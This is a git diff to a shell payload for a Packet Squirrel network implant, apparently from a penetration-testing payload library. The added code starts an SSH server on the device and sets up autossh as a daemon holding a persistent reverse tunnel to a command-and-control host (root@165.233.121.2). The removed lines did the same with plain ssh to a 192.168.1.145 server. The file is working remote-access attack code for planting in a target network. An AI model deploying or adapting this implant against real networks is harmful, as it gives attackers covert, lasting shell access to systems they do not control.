diff --git a/payloads/library/remote-access/SSH-remote-access/payload.sh b/payloads/library/remote-access/SSH-remote-access/payload.sh
index 76374ca..21372b8 100644
--- a/payloads/library/remote-access/SSH-remote-access/payload.sh
+++ b/payloads/library/remote-access/SSH-remote-access/payload.sh
@@ -9,56 +9,78 @@
 #
 # LED State Descriptions
 # Magenta Solid - SSH connecting
-# Blue - SSH connection successful
+# Amber - SSH connection successful
 #
 
-# C2 Server address, port and tunnel port
-c2_server="192.168.1.145"
-c2_tunnel_port=2222
-tunnel_user="username"
-# no pass needed, headless mode required so RSA key file is used.
-# generate in this directory with: 'ssh -t rsa -b 2048 -f id_rsa'
-
-# waiting for button press to start SSH connection.
-#BUTTON
-#
-
-# Magenta indicates SSH connection is launching and the server should have received the connection.
+NETMODE NAT
 LED SETUP
 
-echo -e "SETUP Phase\n" >> /root/payloads/switch3/debug.txt
-
-# we need an IP, so it'll have to be NAT, unless implanted inline.
-NETMODE NAT
-sleep 8
-
-# debug
-#echo -e "NAT configured.\n" $(ifconfig) >> /root/payloads/switch3/debug.txt
-
-# fix file permission problems
-# chmod 600 id_rsa
-
-# -R indicates remote port forwarding which tunnels connections to localhost on server to client.
-# Once complete, connect to remote SSH server and connect to the squirrel by connecting to localhost at
-# the tunnel port specified on the server to reach the Squirrel.
+# no pass needed, headless mode required so RSA key file is used.
 #
-# default port is 22
-echo -e "Connecting to Server.\n" >> /root/payloads/switch3/debug.txt
+# generate the key by running the following command in the /root/.ssh/ folder:
+# 'ssh -t rsa -b 2048 -f id_rsa'
+#
+# To ensure that this works as intended, the user will have to connect to this host at least once
+# with ssh -i /root/.ssh/id_rsa username@remote_server_ip to add this server to the squirrels list
+# of trusted hosts.
+#
+# If this step fails, the payload will fail.
+
+autossh_host="root@165.233.121.2"
+autossh_host_ip=$(echo $autossh_host | cut -d '@' -f2)
+autossh_port="22"
+autossh_remoteport="2222"
+autossh_localport="22"
+
+if ! grep $autossh_host_ip /root/.ssh/known_hosts; then
+   echo "$autossh_host not in known_hosts, exiting..." >> /root/autossh.log
+   LED FAIL
+   exit 1
+fi
+
+#
+# For the life of me I couldn't get SSH to work. The funny thing was it would
+# run in the shell command, but not in the payload. The following solution
+# implements a tool called autossh which ensures nothing funky happens to the
+# connection.
+#
+# the following was ripped from dark_pyrro (the legend) via:
+# https://codeberg.org/dark_pyrro/Packet-Squirrel-autossh/src/branch/main/payload.sh
+#
+
+# waiting until eth1 acquires IP address
+while ! ifconfig "eth1" | grep "inet addr"; do sleep 1; done
 
 echo -e "starting server.\n" >> /root/payloads/switch3/debug.txt
-service sshd start
-sleep 3
 
-ssh -R $c2_tunnel_port:127.0.0.1:22 -i /root/payloads/switch3/id_rsa $tunnel_user@$c2_server
-# echo $ssh_out >> /root/payloads/switch3/debug.txt
-# ssh_pid=$!
+# starting sshd and waiting for process to start
+/etc/init.d/sshd start
+until netstat -tulpn | grep -qi "sshd"
+do
+    sleep 1
+done
 
-echo -e "Server Connected.\n" >> /root/payloads/switch3/debug.txt
+# stopping autossh
+/etc/init.d/autossh stop
+
+#
+# Much like the SSH server, AutoSSH has a configuration file. This
+# needs to be configured to support this connection as a daemon.
+#
+# Create a "fresh template" for the autossh configuration
+# Starting with an empty autossh file in /etc/config
+# isn't something that uci is very fond of
+echo "config autossh" > /etc/config/autossh
+echo "        option ssh" >> /etc/config/autossh
+echo "        option enabled" >> /etc/config/autossh
+
+
+# UCI configuration and commission
+uci set autossh.@autossh[0].ssh="-i /root/.ssh/id_rsa -R "$autossh_remoteport":127.0.0.1:"$autossh_localport" "$autossh_host" -p "$autossh_port" -N -T"
+uci set autossh.@autossh[0].enabled="1"
+uci commit autossh
 
 LED ATTACK
-# WARNING: Initial SSH connection must be manual, since c2_server may not be included in trusted_hosts file
-# SSH will prompt for verification, and to add host to trusted hosts file.
 
-#BUTTON 365d && {
-#   kill $ssh_pid
-#}
+# starting autossh
+/etc/init.d/autossh start
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